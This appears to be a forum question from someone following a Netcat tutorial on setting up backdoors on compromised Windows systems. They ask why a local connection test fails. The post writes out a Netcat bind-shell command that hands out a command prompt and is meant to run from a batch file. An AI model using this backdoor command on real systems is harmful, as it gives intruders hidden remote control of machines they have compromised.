I read this "Netcat" tutorial about how to set backdoors on a compromised system, which says to make this batch file including:
nc -L -d -p [backdoor port of choice] -t -e command.com (I'm on windows ME)
I then realised that my computer didn't have the file nc.exe, so I downloaded it from a site (Is nc.exe a file that will work on every computer ?). I put both in the c:\windows directory, run the batch file (on port 22) and then tried this:
nc -v 127.0.0.1 22
which would normally connect to my own computer and open a command prompt in which I could type any command I wanted, but it said that the computer refused connection. Why?

Checking, however, what ports are open in my system (for example port 135) I tried this:
nc -v 127.0.0.1 135
It says that the port is open but when I start typing it won't "listen" to anything I type, whatever I do. I can't even exit it with any command. What should I do?